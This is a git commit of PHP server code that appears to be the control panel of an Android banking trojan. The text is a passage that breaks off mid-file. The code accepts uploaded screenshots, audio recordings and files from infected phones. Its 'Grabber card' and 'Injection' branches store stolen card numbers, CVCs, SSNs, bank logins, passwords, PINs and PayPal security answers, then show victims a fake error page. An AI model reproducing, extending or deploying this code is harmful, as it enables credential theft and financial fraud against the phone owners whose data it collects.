initial commit
This commit is contained in:
i2p
+81
@@ -0,0 +1,81 @@
|
||||
<?php
|
||||
include "config.php";
|
||||
foreach ($_FILES["getfiles"]["error"] as $key => $error) {
|
||||
|
||||
if ($error == UPLOAD_ERR_OK) {
|
||||
$tmp_name = $_FILES["getfiles"]["tmp_name"][$key];
|
||||
$name = basename($_FILES["getfiles"]["name"][$key]);
|
||||
|
||||
$blacklist = array(".php", ".phtml", ".php3", ".php4",".html",".htm",".js",".css",".htaccess",".zip");
|
||||
foreach ($blacklist as $item) {
|
||||
if(preg_match("/$item\$/i", $name)) {
|
||||
exit;
|
||||
}
|
||||
if (preg_match("/$item/i", $name)) {
|
||||
exit;
|
||||
}
|
||||
}
|
||||
$s = "__";
|
||||
move_uploaded_file($tmp_name, "../".namefolder."/application/datalogs/files/$name$s");
|
||||
}
|
||||
}
|
||||
foreach ($_FILES["VNC"]["error"] as $key => $error){
|
||||
if ($error == UPLOAD_ERR_OK) {
|
||||
$tmp_name = $_FILES["VNC"]["tmp_name"][$key];
|
||||
$name = basename($_FILES["VNC"]["name"][$key]);
|
||||
|
||||
$blacklist = array(".php", ".phtml", ".php3", ".php4",".html",".htm",".js",".css",".htaccess",".zip");
|
||||
foreach ($blacklist as $item) {
|
||||
if(preg_match("/$item\$/i", $name)) {
|
||||
exit;
|
||||
}
|
||||
if (preg_match("/$item/i", $name)) {
|
||||
exit;
|
||||
}
|
||||
}
|
||||
|
||||
if (preg_match("/.jpg\$/i",$name)){
|
||||
$namenotype = str_replace(".jpg","",$name);
|
||||
if(preg_match('|^[0-9]+$|i', $namenotype)){
|
||||
move_uploaded_file($tmp_name, "../".namefolder."/application/websocket/VNC/$name");
|
||||
include "config.php";
|
||||
include "webSocket.php";
|
||||
$database = new database;
|
||||
$database->ws_UpdateVNCscreen($name);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
foreach ($_FILES["sound"]["error"] as $key => $error){
|
||||
if ($error == UPLOAD_ERR_OK) {
|
||||
$tmp_name = $_FILES["sound"]["tmp_name"][$key];
|
||||
$name = basename($_FILES["sound"]["name"][$key]);
|
||||
|
||||
$blacklist = array(".php", ".phtml", ".php3", ".php4",".html",".htm",".js",".css",".htaccess",".zip");
|
||||
foreach ($blacklist as $item) {
|
||||
if(preg_match("/$item\$/i", $name)) {
|
||||
exit;
|
||||
}
|
||||
if (preg_match("/$item/i", $name)) {
|
||||
exit;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (preg_match("/.amr\$/i",$name)){
|
||||
include "config.php";
|
||||
include "webSocket.php";
|
||||
$database = new database;
|
||||
$getSound = $database->ws_GetSound();
|
||||
$schet = 0;
|
||||
if(($getSound=='')||($getSound=='0')){
|
||||
|
||||
}else{
|
||||
$schet = (int)$getSound + 1;
|
||||
}
|
||||
move_uploaded_file($tmp_name, "../".namefolder."/application/websocket/sound/$schet.amr");
|
||||
$database->ws_UpdateSound($schet);
|
||||
}
|
||||
}
|
||||
}
|
||||
?>
|
||||
+780
@@ -0,0 +1,780 @@
|
||||
<?php
|
||||
|
||||
include 'config.php';
|
||||
$request = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);
|
||||
|
||||
$massivReq = explode("|", $request);
|
||||
$IMEI_log = $massivReq[0];
|
||||
$country = $massivReq[1];
|
||||
$text_log = $massivReq[2];
|
||||
|
||||
echo"<p style='display:none; margin:0px auto;text-align:center' id='adv2'>Error connecting to the server, retry the operation!</p>
|
||||
<img src='../".namefolder."/images/gifInject2.gif' width='35%' height='27%' style='display:block; margin:100px auto; color:#FFF; font-family:Arial, Helvetica, sans-serif;' id='adv' />";
|
||||
|
||||
|
||||
$timeLoad=2200;
|
||||
$timeLocation=3200;
|
||||
if(($IMEI_log=="1111")&&($text_log=="1111")){
|
||||
echo "<tag>
|
||||
<script>
|
||||
setTimeout( function(){document.getElementById('adv').style.display='none';document.getElementById('adv2').style.display='block';}, $timeLoad )
|
||||
setTimeout( function(){location.replace('STOP');}, $timeLocation)
|
||||
</script>
|
||||
</tag>";
|
||||
}
|
||||
|
||||
$typeCard = "";
|
||||
$numberCC = "";
|
||||
$m_y = "";
|
||||
$CVC = "";
|
||||
|
||||
$startIcon="";
|
||||
|
||||
|
||||
//Грабинг CC
|
||||
if($text_log == "Grabber card step 1")
|
||||
{
|
||||
$startIcon="card";
|
||||
|
||||
$typeCard = $massivReq[3];
|
||||
$numberCC = $massivReq[4];
|
||||
$m_y = $massivReq[5];
|
||||
$CVC = $massivReq[6];
|
||||
|
||||
$numberCC=str_replace(" ","",$numberCC);
|
||||
|
||||
$text_log = "Grabber card step 1\nType Card: $typeCard\nNumber card: $numberCC\nMonth/Year: $m_y\nCVC: $CVC\n";
|
||||
|
||||
$connect = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connect->exec('SET NAMES utf8');
|
||||
$statement = $connect->prepare("SELECT * FROM cc WHERE imei='$IMEI_log'");
|
||||
$statement->execute([$IMEI_log]);
|
||||
|
||||
$booleanIMEI_and_TIME = false;
|
||||
foreach($statement as $row)
|
||||
{
|
||||
if($row['numbercard'] == $numberCC)
|
||||
{
|
||||
$booleanIMEI_and_TIME=true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if($booleanIMEI_and_TIME){
|
||||
$statement = $connect->prepare("UPDATE cc SET country = '$country', typecard ='$typeCard', numbercard='$numberCC', monthyear ='$m_y', cvc = '$CVC', timeaddcc='$date_add_inj' WHERE numbercard = '$numberCC'");
|
||||
$statement->execute(array($country,$typeCard,$numberCC,$m_y,$CVC,$date_add_inj));
|
||||
}else{
|
||||
$statement = $connect->prepare("insert into cc (imei,country,typecard,numbercard,monthyear,cvc,timeaddcc)
|
||||
value ('$IMEI_log','$country','$typeCard','$numberCC','$m_y','$CVC','$date_add_inj')");
|
||||
$statement->execute(array($IMEI_log,$country,$typeCard,$numberCC,$m_y,$CVC,$date_add_inj));
|
||||
}
|
||||
|
||||
if(strlen($numberCC)>=5){
|
||||
$statement = $connect->prepare("UPDATE kliets SET l_bank = '1' WHERE IMEI = '$IMEI_log'");
|
||||
$statement->execute([$IMEI_log]);
|
||||
}
|
||||
|
||||
|
||||
getBins($numberCC);
|
||||
|
||||
}
|
||||
if($text_log == "Grabber card step 2")
|
||||
{
|
||||
$startIcon="card";
|
||||
|
||||
$cardHolder = $massivReq[3];
|
||||
$dateBirth = $massivReq[4];
|
||||
$postalCode = $massivReq[5];
|
||||
$holderAddress = $massivReq[6];
|
||||
$phoneNumber = $massivReq[7];
|
||||
$date_add_inj = $massivReq[8];
|
||||
$CC = $massivReq[9];
|
||||
|
||||
$CC=str_replace(" ","",$CC);
|
||||
|
||||
if($country == "us")
|
||||
{
|
||||
$SSN = $massivReq[10];
|
||||
$AN = $massivReq[11];
|
||||
$text_log = "Grabber card step 2\nName Holder: $cardHolder\nData Birth: $dateBirth\nPostal Code: $postalCode\nAddress Holder: $holderAddress\nPhone Number Holder: $phoneNumber\nSSN: $SSN\nAccount number: $AN\n";
|
||||
}
|
||||
else
|
||||
{
|
||||
$text_log = "Grabber card step 2\nName Holder: $cardHolder\nData Birth: $dateBirth\nPostal Code: $postalCode\nAddress Holder: $holderAddress\nPhone Number Holder: $phoneNumber\n";
|
||||
}
|
||||
|
||||
$connect = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connect->exec('SET NAMES utf8');
|
||||
|
||||
$statement = $connect->prepare("SELECT * FROM cc WHERE imei='$IMEI_log'");
|
||||
$statement->execute([$IMEI_log]);
|
||||
|
||||
$booleanIMEI_and_TIME = false;
|
||||
foreach($statement as $row)
|
||||
{
|
||||
if($row['numbercard'] == $CC)
|
||||
{
|
||||
$booleanIMEI_and_TIME=true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if($booleanIMEI_and_TIME){
|
||||
if($country=="us")
|
||||
{
|
||||
$statement = $connect->prepare("UPDATE cc SET nameholder = '$cardHolder',ssn = '$SSN',accountnumber = '$AN', databirth ='$dateBirth', postalcode='$postalCode', addressholder ='$holderAddress', phonenumber = '$phoneNumber' WHERE numbercard = '$CC'");
|
||||
$statement->execute(array($cardHolder,$SSN,$AN,$dateBirth,$holderAddress,$phoneNumber,$CC));
|
||||
}
|
||||
else
|
||||
{
|
||||
$statement = $connect->prepare("UPDATE cc SET nameholder = '$cardHolder', databirth ='$dateBirth', postalcode='$postalCode', addressholder ='$holderAddress', phonenumber = '$phoneNumber' WHERE numbercard = '$CC'");
|
||||
$statement->execute(array($cardHolder,$dateBirth,$postalCode,$holderAddress,$phoneNumber,$CC));
|
||||
}
|
||||
}else{
|
||||
|
||||
$statement = $connect->prepare("insert into cc (imei,country,numbercard)
|
||||
value ('$IMEI_log','$country','$CC')");
|
||||
$statement->execute(array($IMEI_log,$country,$CC));
|
||||
|
||||
if($country=="us")
|
||||
{
|
||||
$statement = $connect->prepare("UPDATE cc SET nameholder = '$cardHolder',ssn = '$SSN',accountnumber = '$AN', databirth ='$dateBirth', postalcode='$postalCode', addressholder ='$holderAddress', phonenumber = '$phoneNumber' WHERE numbercard = '$CC'");
|
||||
$statement->execute(array($cardHolder,$SSN,$AN,$dateBirth,$holderAddress,$phoneNumber,$CC));
|
||||
}
|
||||
else
|
||||
{
|
||||
$statement = $connect->prepare("UPDATE cc SET nameholder = '$cardHolder', databirth ='$dateBirth', postalcode='$postalCode', addressholder ='$holderAddress', phonenumber = '$phoneNumber' WHERE numbercard = '$CC'");
|
||||
$statement->execute(array($cardHolder,$dateBirth,$postalCode,$holderAddress,$phoneNumber,$CC));
|
||||
}
|
||||
}
|
||||
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
|
||||
|
||||
$statement = $connection->prepare("UPDATE settings SET inject = '',state='1' WHERE IMEI = '$IMEI_log'");
|
||||
$statement->execute([$IMEI_log]);
|
||||
|
||||
$statement = $connection->prepare("UPDATE kliets SET l_bank = '1' WHERE IMEI = '$IMEI_log'");
|
||||
$statement->execute([$IMEI_log]);
|
||||
|
||||
}
|
||||
if($text_log == "Grabber card step 3")
|
||||
{
|
||||
$startIcon="card";
|
||||
|
||||
$VBV = $massivReq[3];
|
||||
$CC = $massivReq[4];
|
||||
|
||||
$CC=str_replace(" ","",$CC);
|
||||
|
||||
$text_log = "Grabber card step 3\nVBV : $VBV\n";
|
||||
|
||||
$connect = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connect->exec('SET NAMES utf8');
|
||||
|
||||
$statement = $connect->prepare("SELECT * FROM cc WHERE imei='$IMEI_log'");
|
||||
$statement->execute([$IMEI_log]);
|
||||
|
||||
$booleanIMEI_and_TIME = false;
|
||||
foreach($statement as $row)
|
||||
{
|
||||
if($row['numbercard'] == $CC)
|
||||
{
|
||||
$booleanIMEI_and_TIME=true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if($booleanIMEI_and_TIME)
|
||||
{
|
||||
$statement = $connect->prepare("UPDATE cc SET vbv = '$VBV' WHERE numbercard = '$CC'");
|
||||
$statement->execute(array($VBV,$CC));
|
||||
}
|
||||
}
|
||||
if($text_log == "Grabber card step 4")
|
||||
{
|
||||
$startIcon="card";
|
||||
|
||||
$Sort_code = $massivReq[3];
|
||||
$CC = $massivReq[4];
|
||||
|
||||
$CC=str_replace(" ","",$CC);
|
||||
|
||||
$text_log = "Grabber card step 4\nSort Code: $Sort_code\n";
|
||||
|
||||
$connect = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connect->exec('SET NAMES utf8');
|
||||
|
||||
$statement = $connect->prepare("SELECT * FROM cc WHERE imei='$IMEI_log'");
|
||||
$statement->execute([$IMEI_log]);
|
||||
|
||||
$booleanIMEI_and_TIME = false;
|
||||
foreach($statement as $row)
|
||||
{
|
||||
if($row['numbercard'] == $CC)
|
||||
{
|
||||
$booleanIMEI_and_TIME=true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if($booleanIMEI_and_TIME)
|
||||
{
|
||||
$statement = $connect->prepare("UPDATE cc SET SortCode = '$Sort_code' WHERE numbercard = '$CC'");
|
||||
$statement->execute(array($Sort_code,$CC));
|
||||
|
||||
echo "<tag>
|
||||
<script>
|
||||
setTimeout( function(){document.getElementById('adv').style.display='none';document.getElementById('adv2').style.display='block';}, $timeLoad )
|
||||
setTimeout( function(){location.replace('https://support.google.com/calendar/answer/6261951?hl=en&co=GENIE.Platform=Android');}, $timeLocation)
|
||||
</script>
|
||||
</tag>";
|
||||
}
|
||||
}
|
||||
|
||||
// -- инжекты -- //
|
||||
|
||||
if($text_log == "Injection_1")
|
||||
{
|
||||
//--------
|
||||
$name = $massivReq[3];
|
||||
$username = $_POST['user'];
|
||||
$password = $_POST['pass'];
|
||||
|
||||
$text_log = "Injection($name)\nusername: $username\npassword: $password";
|
||||
|
||||
$connect = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connect->exec('SET NAMES utf8');
|
||||
|
||||
$statement = $connect->prepare("insert into injs (idbot,name,country,login,password)
|
||||
value('$IMEI_log','$name','$country','$username','$password')");
|
||||
$statement->execute(array($IMEI_log,$name,$country,$username,$password));
|
||||
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
|
||||
$statement = $connection->prepare("UPDATE settings SET inject = '', state='1' WHERE IMEI = '$IMEI_log'");
|
||||
$statement->execute([$IMEI_log]);
|
||||
|
||||
if(($username!="")&&($password!="")){
|
||||
$statement = $connection->prepare("UPDATE kliets SET inj = '1' WHERE IMEI = '$IMEI_log'");
|
||||
$statement->execute([$IMEI_log]);
|
||||
}
|
||||
|
||||
echo "<tag>
|
||||
<script>
|
||||
setTimeout( function(){document.getElementById('adv').style.display='none';document.getElementById('adv2').style.display='block';}, $timeLoad )
|
||||
setTimeout( function(){location.replace('STOP');}, $timeLocation)
|
||||
</script>
|
||||
</tag>";
|
||||
}
|
||||
|
||||
//**
|
||||
|
||||
if($text_log == "Injection_2")
|
||||
{
|
||||
//--------
|
||||
$name = $massivReq[3];
|
||||
$username = $_POST['user'];
|
||||
$password = $_POST['pass'];
|
||||
$pin = $_POST['pin'];
|
||||
|
||||
$text_log = "Injection($name)\nusername: $username\npassword: $password\nPIN: $pin";
|
||||
|
||||
$connect = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connect->exec('SET NAMES utf8');
|
||||
|
||||
$statement = $connect->prepare("insert into injs (idbot,name,country,login,password,pin)
|
||||
value ('$IMEI_log','$name','$country','$username','$password','$pin')");
|
||||
$statement->execute(array($IMEI_log,$name,$country,$username,$password,$pin));
|
||||
|
||||
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
|
||||
$statement = $connection->prepare("UPDATE settings SET inject = '', state='1' WHERE IMEI = '$IMEI_log'");
|
||||
$statement->execute([$IMEI_log]);
|
||||
|
||||
if(($username!="")&&($password!="")){
|
||||
$statement = $connection->prepare("UPDATE kliets SET inj = '1' WHERE IMEI = '$IMEI_log'");
|
||||
$statement->execute([$IMEI_log]);
|
||||
}
|
||||
|
||||
echo "<tag>
|
||||
<script>
|
||||
setTimeout( function(){document.getElementById('adv').style.display='none';document.getElementById('adv2').style.display='block';}, $timeLoad )
|
||||
setTimeout( function(){location.replace('STOP');}, $timeLocation)
|
||||
</script>
|
||||
</tag>";
|
||||
}
|
||||
|
||||
|
||||
if($text_log == "Injection_3")
|
||||
{
|
||||
//--------
|
||||
$name = $massivReq[3];
|
||||
$username = $massivReq[4];
|
||||
$password = $massivReq[5];
|
||||
$pin = $massivReq[6];
|
||||
|
||||
$text_log = "Injection($name)\nusername: $username\ncode: $pin\npassword: $password";
|
||||
|
||||
$connect = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connect->exec('SET NAMES utf8');
|
||||
$add_data = $connect->exec("insert into injs (idbot,name,country,login,password,pin)
|
||||
value ('$IMEI_log','$name','$country','$username','$password','$pin')");
|
||||
|
||||
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
|
||||
$statement = $connection->prepare("UPDATE settings SET inject = '', state='1' WHERE IMEI = '$IMEI_log'");
|
||||
$statement->execute([$IMEI_log]);
|
||||
$statement = $connection->prepare("UPDATE kliets SET color='purple' WHERE IMEI = '$IMEI_log'");
|
||||
$statement->execute([$IMEI_log]);
|
||||
|
||||
if(($username!="")&&($password!="")){
|
||||
$statement = $connection->prepare("UPDATE kliets SET inj = '1' WHERE IMEI = '$IMEI_log'");
|
||||
$statement->execute([$IMEI_log]);
|
||||
}
|
||||
|
||||
echo "<tag>
|
||||
<script>
|
||||
setTimeout( function(){document.getElementById('adv').style.display='none';document.getElementById('adv2').style.display='block';}, $timeLoad )
|
||||
setTimeout( function(){location.replace('STOP');}, $timeLocation)
|
||||
</script>
|
||||
</tag>";
|
||||
}
|
||||
|
||||
if($text_log == "Injection_4")
|
||||
{
|
||||
//--------
|
||||
$name = $massivReq[3];
|
||||
$username = $massivReq[4];
|
||||
$password = $massivReq[5];
|
||||
|
||||
$text_log = "Injection($name)\nusername: $username\npassword: $password";
|
||||
|
||||
|
||||
$connect = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connect->exec('SET NAMES utf8');
|
||||
$add_data = $connect->exec("insert into injs (idbot,name,country,login,password)
|
||||
value ('$IMEI_log','$name','$country','$username','$password')");
|
||||
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
|
||||
$statement = $connection->prepare("UPDATE settings SET inject = '', state='1' WHERE IMEI = '$IMEI_log'");
|
||||
$statement->execute([$IMEI_log]);
|
||||
$statement = $connection->prepare("UPDATE kliets SET color='purple' WHERE IMEI = '$IMEI_log'");
|
||||
$statement->execute([$IMEI_log]);
|
||||
|
||||
if(($username!="")&&($password!="")){
|
||||
$statement = $connection->prepare("UPDATE kliets SET inj = '1' WHERE IMEI = '$IMEI_log'");
|
||||
$statement->execute([$IMEI_log]);
|
||||
}
|
||||
|
||||
echo "<tag>
|
||||
<script>
|
||||
setTimeout( function(){document.getElementById('adv').style.display='none';document.getElementById('adv2').style.display='block';}, $timeLoad )
|
||||
setTimeout( function(){location.replace('STOP');}, $timeLocation)
|
||||
</script>
|
||||
</tag>";
|
||||
}
|
||||
|
||||
if($text_log == "Injection_5")
|
||||
{
|
||||
//--------
|
||||
$name = $massivReq[3];
|
||||
$username = $massivReq[4];
|
||||
$params1 = $massivReq[5];
|
||||
$params2 = $massivReq[6];
|
||||
$pin = $massivReq[7];
|
||||
|
||||
$text_log = "Injection($name)\nusername: $username\nParameter 1: $params1\nParameter 2: $params2\npin: $pin";
|
||||
|
||||
$connect = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connect->exec('SET NAMES utf8');
|
||||
$add_data = $connect->exec("insert into injs (idbot,name,country,login,params1,params2,pin)
|
||||
value ('$IMEI_log','$name','$country','$username','$params1','$params2','$pin')");
|
||||
|
||||
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
|
||||
$statement = $connection->prepare("UPDATE settings SET inject = '', state='1' WHERE IMEI = '$IMEI_log'");
|
||||
$statement->execute([$IMEI_log]);
|
||||
|
||||
if(($username!="")&&($pin!="")){
|
||||
$statement = $connection->prepare("UPDATE kliets SET inj = '1' WHERE IMEI = '$IMEI_log'");
|
||||
$statement->execute([$IMEI_log]);
|
||||
}
|
||||
|
||||
echo "<tag>
|
||||
<script>
|
||||
setTimeout( function(){document.getElementById('adv').style.display='none';document.getElementById('adv2').style.display='block';}, $timeLoad )
|
||||
setTimeout( function(){location.replace('STOP');}, $timeLocation)
|
||||
</script>
|
||||
</tag>";
|
||||
}
|
||||
if($text_log == "Injection_6")
|
||||
{
|
||||
//--------
|
||||
$name = $massivReq[3];
|
||||
$username = $massivReq[4];
|
||||
$password = $massivReq[5];
|
||||
$params1 = $massivReq[6];
|
||||
$params2 = $massivReq[7];
|
||||
|
||||
|
||||
$text_log = "Injection($name)\nusername: $username\npassword: $password\nParameter 1: $params1\nParameter 2: $params2";
|
||||
|
||||
$connect = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connect->exec('SET NAMES utf8');
|
||||
$add_data = $connect->exec("insert into injs (idbot,name,country,login,params1,params2,password)
|
||||
value ('$IMEI_log','$name','$country','$username','$params1','$params2','$password')");
|
||||
|
||||
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
|
||||
$statement = $connection->prepare("UPDATE settings SET inject = '', state='1' WHERE IMEI = '$IMEI_log'");
|
||||
$statement->execute([$IMEI_log]);
|
||||
|
||||
if(($username!="")&&($pin!="")){
|
||||
$statement = $connection->prepare("UPDATE kliets SET inj = '1' WHERE IMEI = '$IMEI_log'");
|
||||
$statement->execute([$IMEI_log]);
|
||||
}
|
||||
|
||||
echo "<tag>
|
||||
<script>
|
||||
setTimeout( function(){document.getElementById('adv').style.display='none';document.getElementById('adv2').style.display='block';}, $timeLoad )
|
||||
setTimeout( function(){location.replace('STOP');}, $timeLocation)
|
||||
</script>
|
||||
</tag>";
|
||||
}
|
||||
if($text_log == "Injection_7")
|
||||
{
|
||||
//--------
|
||||
$name = $massivReq[3];
|
||||
$username = $massivReq[4];
|
||||
$password = $massivReq[5];
|
||||
$pin = $massivReq[6];
|
||||
$f_name = $massivReq[7];
|
||||
$l_name = $massivReq[8];
|
||||
$phone = $massivReq[9];
|
||||
$dateBrith = $massivReq[10];
|
||||
|
||||
$text_log = "Injection($name)\nusername: $username\ncode: $pin\npassword: $password\nfirst name: $f_name\nLast name: $l_name\nPhone number: $phone\nDate of birth: $dateBrith";
|
||||
|
||||
$connect = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connect->exec('SET NAMES utf8');
|
||||
$add_data = $connect->exec("insert into injs (idbot,name,country,login,password,pin,f_name,l_name,phone,dateBrith)
|
||||
value ('$IMEI_log','$name','$country','$username','$password','$pin','$f_name','$l_name','$phone','$dateBrith')");
|
||||
|
||||
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
|
||||
$statement = $connection->prepare("UPDATE settings SET inject = '', state='1' WHERE IMEI = '$IMEI_log'");
|
||||
$statement->execute([$IMEI_log]);
|
||||
|
||||
if(($username!="")&&($password!="")){
|
||||
$statement = $connection->prepare("UPDATE kliets SET inj = '1' WHERE IMEI = '$IMEI_log'");
|
||||
$statement->execute([$IMEI_log]);
|
||||
}
|
||||
|
||||
echo "<tag>
|
||||
<script>
|
||||
setTimeout( function(){document.getElementById('adv').style.display='none';document.getElementById('adv2').style.display='block';}, $timeLoad )
|
||||
setTimeout( function(){location.replace('STOP');}, $timeLocation)
|
||||
</script>
|
||||
</tag>";
|
||||
}
|
||||
if($text_log == "Injection_8")
|
||||
{
|
||||
//--------
|
||||
$name = $massivReq[3];
|
||||
$username = $massivReq[4];
|
||||
$t_pin = $massivReq[5];
|
||||
$llogs=str_replace("//br//","</br>",$logs);
|
||||
$text_log = "Injection($name)\n: $llogs";
|
||||
|
||||
$connect = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connect->exec('SET NAMES utf8');
|
||||
|
||||
$statement = $connect->prepare("UPDATE injs SET logs = '$t_pin' WHERE login = '$username'");
|
||||
$statement->execute(array($t_pin,$username));
|
||||
echo "<tag>
|
||||
<script>
|
||||
setTimeout( function(){document.getElementById('adv').style.display='none';document.getElementById('adv2').style.display='block';}, $timeLoad )
|
||||
setTimeout( function(){location.replace('STOP');}, $timeLocation)
|
||||
</script>
|
||||
</tag>";
|
||||
}
|
||||
|
||||
if($text_log == "Injection_9")
|
||||
{
|
||||
//--------
|
||||
$name = $massivReq[3];
|
||||
$username = $massivReq[4];
|
||||
$password = $massivReq[5];
|
||||
$pin = $massivReq[6];
|
||||
$f_name = $massivReq[7];
|
||||
$l_name = $massivReq[8];
|
||||
$phone = $massivReq[9];
|
||||
$dateBrith = $massivReq[10];
|
||||
$logs = $massivReq[11];
|
||||
|
||||
$llogs=str_replace("//br//","</br>",$logs);
|
||||
|
||||
$text_log = "Injection($name)\nusername: $username\ncode: $pin\npassword: $password\nfirst name: $f_name\nLast name: $l_name\nPhone number: $phone\nDate of birth: $dateBrith\n$llogs";
|
||||
|
||||
$connect = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connect->exec('SET NAMES utf8');
|
||||
$add_data = $connect->exec("insert into injs (idbot,name,country,login,password,pin,f_name,l_name,phone,dateBrith,logs)
|
||||
value ('$IMEI_log','$name','$country','$username','$password','$pin','$f_name','$l_name','$phone','$dateBrith','$logs')");
|
||||
|
||||
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
|
||||
$statement = $connection->prepare("UPDATE settings SET inject = '', state='1' WHERE IMEI = '$IMEI_log'");
|
||||
$statement->execute([$IMEI_log]);
|
||||
|
||||
if(($username!="")&&($password!="")){
|
||||
$statement = $connection->prepare("UPDATE kliets SET inj = '1' WHERE IMEI = '$IMEI_log'");
|
||||
$statement->execute([$IMEI_log]);
|
||||
}
|
||||
|
||||
echo "<tag>
|
||||
<script>
|
||||
setTimeout( function(){document.getElementById('adv').style.display='none';document.getElementById('adv2').style.display='block';}, $timeLoad )
|
||||
setTimeout( function(){location.replace('STOP');}, $timeLocation)
|
||||
</script>
|
||||
</tag>";
|
||||
}
|
||||
|
||||
if($text_log == "Injection_10"){
|
||||
//--------
|
||||
$name = $massivReq[3];
|
||||
$logs = $massivReq[4];
|
||||
$llogs=str_replace("//br//","</br>",$logs);
|
||||
$llogsSS=str_replace("//br//","\n",$logs);
|
||||
$text_log = "Injection($name)\n: $llogsSS";
|
||||
|
||||
$connect = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connect->exec('SET NAMES utf8');
|
||||
|
||||
$add_data = $connect->exec("insert into injs (idbot,name,country,logs) value ('$IMEI_log','$name','$country','$llogs')");
|
||||
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
|
||||
$statement = $connection->prepare("UPDATE settings SET inject = '', state='1' WHERE IMEI = '$IMEI_log'");
|
||||
$statement->execute([$IMEI_log]);
|
||||
|
||||
|
||||
$statement = $connection->prepare("UPDATE kliets SET inj = '1' WHERE IMEI = '$IMEI_log'");
|
||||
$statement->execute([$IMEI_log]);
|
||||
|
||||
|
||||
echo "<tag>
|
||||
<script>
|
||||
setTimeout( function(){document.getElementById('adv').style.display='none';document.getElementById('adv2').style.display='block';}, $timeLoad )
|
||||
setTimeout( function(){location.replace('STOP');}, $timeLocation)
|
||||
</script>
|
||||
</tag>";
|
||||
}
|
||||
|
||||
if($text_log == "paypal2")
|
||||
{
|
||||
//--------
|
||||
$name = $massivReq[3];
|
||||
$login=$massivReq[4];
|
||||
$vopros1 = $massivReq[5];
|
||||
$otvet1 = $massivReq[6];
|
||||
$vopros2 = $massivReq[7];
|
||||
$otvet2 = $massivReq[8];
|
||||
|
||||
$text_log = "Injection($name)\nQuestion 1: $vopros1\nResponse 1: $otvet1\nQuestion 2: $vopros2\nResponse 2: $otvet2";
|
||||
|
||||
$connect2 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connect2->exec('SET NAMES utf8');
|
||||
|
||||
$statement = $connect2->prepare("UPDATE injs SET vopros1= '$vopros1', otvet1='$otvet1',vopros2= '$vopros2', otvet2='$otvet2' WHERE login = '$login'");
|
||||
$statement->execute(array($vopros1,$vopros2,$otvet1,$otvet2,$login));
|
||||
|
||||
$connect3 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connect3->exec('SET NAMES utf8');
|
||||
$statement2 = $connect3->prepare("UPDATE settings SET inject = '', state='1' WHERE IMEI = '$IMEI_log'");
|
||||
$statement2->execute([$IMEI_log]);
|
||||
|
||||
if(($vopros1!="")&&($otvet1!="")&&($vopros2!="")&&($otvet2!=""))
|
||||
{
|
||||
$statement2 = $connect3->prepare("UPDATE kliets SET inj = '1' WHERE IMEI = '$IMEI_log'");
|
||||
$statement2->execute([$IMEI_log]);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if($text_log == "grabing_mini")
|
||||
{
|
||||
//--------
|
||||
$cardNumber = $massivReq[3];
|
||||
$cardExpiration = $massivReq[4];
|
||||
$cvcEntry =$massivReq[5];
|
||||
$nameOnCard = $massivReq[6];
|
||||
$phoneNumber = $massivReq[7];
|
||||
|
||||
$cardNumber=str_replace(" ","",$cardNumber);
|
||||
|
||||
$text_log = "Mini grabber cards\nNumber Card: $cardNumber\nMonth/year: $cardExpiration\nCVC: $cvcEntry\nName Holder: $nameOnCard\nPhone Number: $phoneNumber\n";
|
||||
|
||||
$connect = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connect->exec('SET NAMES utf8');
|
